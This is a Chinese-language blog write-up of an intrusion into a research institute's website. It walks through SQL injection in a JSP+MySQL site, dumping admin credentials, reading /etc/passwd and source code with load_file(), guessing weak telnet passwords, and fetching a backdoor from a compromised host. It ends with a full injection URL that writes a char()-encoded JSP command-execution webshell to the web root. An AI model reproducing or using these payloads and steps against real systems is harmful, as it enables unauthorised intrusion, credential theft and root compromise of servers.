最近有點空閑,所以寫點垃圾文章來消磨一下時間.文中沒有什么技術含量,如果要轉載,請注明作者并保持文章的完整.
很多人可能都知道asp,php的編程要防止sql注入漏洞,而并不知道jsp編程同樣也需要防備sql注入漏洞.其實,一旦jsp代碼有注入漏洞,將直接影響到整個系統的安全。本文就是主要展示一下我的一次jsp+mysql注入導出webshell的過程。
www.***.***.cn是國內某一個著名研究所的網站,我們在這里對其進行善意的測試。當然,在寫此文之前我已經將漏洞通知了網站管理員.并對文中所有的圖片進行了處理,還粘貼了個我大三的時候自己發明的一個數學公式的圖,希望讓大家同時可以領會到數學更是博大精深(呵呵,當然研究數學更是人間正道).
1.尋找注入點
進入其首頁,在新聞里面隨便點了個新聞瀏覽,習慣地在其地址后面加個單引號’,鏈接上去后出現如圖1所示。
(圖1)
從圖中的信息容易看出此網站的數據庫中有個表的名字(tablename)是zhxw??上У氖强床坏絯eb路徑。把引號’改為 and 1=1則返回正常頁,而改為 and 1=2 則出現錯誤頁.從而可以斷定有注入漏洞.再用telnet探測此主機器的3306端口,返回如圖2所示的結果。
(圖2 )
由此可以斷定此網站的數據庫程序是mysql。.
2.猜解表名
有了注入點,我們就會想到用union來構造sql語句。我們開始猜測表zhxw的字段數,在注入點的地址后面加上union select 1 得到錯誤頁面如圖3所示。
(圖3 )
逐步在union select 1后面加上四個數字2,3,4,5后均出現圖3的情況(注意每加一個數字的時候都要用個逗號,來隔開).看來字段數量不對。當在注入點地址后面加上union select 1,2,3,4,5,6 就返回一個正常的頁面。說明表zhxw的字段數就是6.現在就可以來手工猜測一些常見的表名。很快想到就是admin表,在注入點地址后面加上union select 1,2,3,4,5,6 from admin,并把id=后面的1530改成一個不存在的id例如-1,結果出現如圖4所示。
(圖4 )
說明表admin是存在的,且可以在數字2和3處插入表的字段名或者mysql自帶的函數來獲取數據庫的信息.現在來猜測admin表的字段名及其值.經手工猜測得到了admin表的字段名adminname和adminpwd的值如圖5所示.
(圖5 )
3.找web路徑及web管理入口
記得angel的文章<>里面有個非常重要的函數load_file().我們現在就用這個函數來查找web路徑.經測試發現在數字2處用load_file()函數替換后顯示出來的結果不全,但是在數字3處用load_file()函數替換后顯示出來的結果很全.我估計是與表zhxw的字段長度有關.而且我猜測此系統是unix的系統.所以我在先從根目錄處查找web路徑!如圖6所示.
(圖6 )
圖6中的畫線處的www應該存放了web的目錄,再用load_file(‘/www’),得到web確切路徑是/www/ping(我這里用ping代替了其www后面的那個真實的目錄名).并找到了/www/ping目錄下有個bbs目錄及后臺管理頁adminlog.jsp.
4.獲取服務器一般權限的shell
有了管理頁面我們自然想得到要通過圖5中的帳號登錄進去并上傳個jsp webshell,可是令人失望的是用這個帳號登錄的時候發現既沒有報錯也沒有成功登錄進去.后來才從bbs目錄下的readme.txt得知此bbs只允許其網站內部網ip進行管理,所以此路不通.其次,我們自然會想到查找mysql的root口令來獲取shell.所以想看看index.jsp的源代碼是否調用了個公共的數據庫連接文件,然后我們再查看這個公共數據庫連接文件源代碼中的數據庫連接信息.我們在這里用語句’load_file()…into outfile’來查看jsp源代碼;所以我們在ie中提交http://www.xxx.xxx.cn/content.jsp?tablename=kydt&id=390003%20union%20select%201,2,load_file('/www/ping/index.jsp'),4,5,6%20from%20admin into outfile ‘/www/ping/ping.txt’,然后在ie中輸入http://www.xxx.xxx.cn/ping.txt就得到了index.jsp的源碼.令人吃驚的是,index.jsp并沒有調用個數據庫連接的公共文件,而是把數據庫的連接信息直接寫在代碼中了,并且得到mysql帳戶root的口令就是空。這時我們有了mysql的root的口令,想試一試遠程連接此mysql服務器。但是我們想起了圖2中的信息”host 'xxx.xxx.xxx.170' is not allowed to connect to this mysql server”,就知道從本地連接此網站的mysql數據庫是連不上的!看來此路也不通.這時,我們就要去用社會工程學了。先看看此服務器是否開放了22,23端口,發現服務器開放了23端口,再用load_file()函數來獲得文件/etc/passwd的信息。由文件/etc/passwd的信息我手工測試其telnet服務的弱口令,很幸運,我找到了五個有弱口令的帳號,用其中的一個帳號登錄后得到的shell如圖7所示.
(圖7 )
從圖中易看出操作系統還是sunos5.8.
5.提升權限
有了低權限的shell自然想到去下載與sunos5.8相關的exploit來提升權限.我找了很久就是沒有找到有效的exploit.既然我們已經有了個shell,那么我們就可以在shell里面登錄他的mysql服務器了.如果mysql是以root身份運行的話,我們就可以用文<< how apache.org was defaced>>及文<< mysql udf dynamic library exploit>>中的方法來提升權限了.結果失敗了,錯誤信息如圖8和圖9所示.
(圖8 )
(圖9 )
錯誤原因估計是與操作系統有關,因為我用這兩種方法在linux的系統上測試成功了!哎,看來山窮水盡了!于是對此服務器的滲透暫停了一下??赡苄菹⒑箢^腦比較清醒,思想的火花一下就冒出來。這個時候我想起一篇入侵tomcat的文章,里面提到上傳jsp后門到web路徑下后直接就得到了root權限!于是,我就在shell下用wget命令從我的肉雞上傳了個jsp的后門到web路徑下面。然后用ie測試了一下權限,竟然發現這個webshell就是root權限,如圖10所示。
(圖10 )
6.注入導出webshell
6.注入導出webshell
假設我們沒有得到他的telnet的弱口令,那如何來得到此站的webshell?angel在文<<mysql注入中導出字段內容的研究--通過注入導出webshell>> 及文<<php+mysql注入導出文件的新發現--附帶ipb2的漏洞利用>>中研究了由mysql注入導出文件得到webshell的方法.很多人可能覺得他的方法局限性大. 因為當php.ini中magic_quotes_gpc = on時,運用into outfile導出文件的時候會不成功!但是jsp+mysql的網站就沒有magic_quotes_gpc = on這樣的設置.所以說他的方法在jsp+mysql注入中發出了耀眼的光芒!
我們這里要用到的jsp webshell是
我們把上述代碼中的回車去掉,并轉換為ascii碼如圖11所示.
(圖11)
再在ie中提交如下地址
http://www.***.***.cn/content.jsp?tablename=zhxw&id=1530%20and%201=2%20union%20select%201,1,char(60,37,64,32,112,97,103,101,32,105,109,112,111,114,116,61,34,106,97,118,97,46,105,111,46,42,34,32,37,62,60,37,116,114,121,32,123,83,116,114,105,110,103,32,99,109,100,32,61,32,114,101,113,117,101,115,116,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,99,109,100,34,41,59,80,114,111,99,101,115,115,32,99,104,105,108,100,32,61,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,99,109,100,41,59,73,110,112,117,116,83,116,114,101,97,109,32,105,110,32,61,32,99,104,105,108,100,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,105,110,116,32,99,59,119,104,105,108,101,32,40,40,99,32,61,105,110,46,114,101,97,100,40,41,41,32,33,61,32,45,49,41,32,123,111,117,116,46,112,114,105,110,116,40,40,99,104,97,114,41,99,41,59,125,105,110,46,99,108,111,115,101,40,41,59,116,114,121,32,123,99,104,105,108,100,46,119,97,105,116,70,111,114,40,41,59,125,32,99,97,116,99,104,40,73,110,116,101,114,114,117,112,116,101,100,69,120,99,101,112,116,105,111,110,32,101,41,32,123,101,46,112,114,105,110,116,83,116,97,99,107,84,114,97,99,101,40,41,59,125,125,32,99,97,116,99,104,32,40,73,79,69,120,99,101,112,116,105,111,110,32,101,41,32,123,83,121,115,116,101,109,46,101,114,114,46,112,114,105,110,116,108,110,40,101,41,59,125,37,62),1,1,1%20from%20admin%20into%20outfile%20'/www/ping/pingping.jsp'/*
返回如圖12所示結果
(圖12)
呵呵,提示有錯誤,其實已經成功了!我們直接在ie中連接此web目錄中后門的地址得到如圖13所示
(圖13)
確實成功了!
我們的滲透也就此結束了.由于本人水平有限,文中難免有不當之處,請多多指教。我的qq是874842,我的email:[email protected]
參考文獻1.<<sql injection with mysql>>
http://www.4ngel.net/article/36.htm
2. <<advanced sql injection with mysql>>
http://www.4ngel.net/article/30.htm
3.<<mysql udf dynamic library exploit>>
http://www.securiteam.com/exploits/6g00p1pc0u.html
4.<<how apache.org was defaced>>
http://www.securiteam.com/securitynews/5mp031p1fg.html
5.<< mysql注入中導出字段內容的研究--通過注入導出webshell>>
http://www.4ngel.net/article/37.htm
6.<<php+mysql注入導出文件的新發現--附帶ipb2的漏洞利用>>
http://www.4ngel.net/article/43.htm
新聞熱點
疑難解答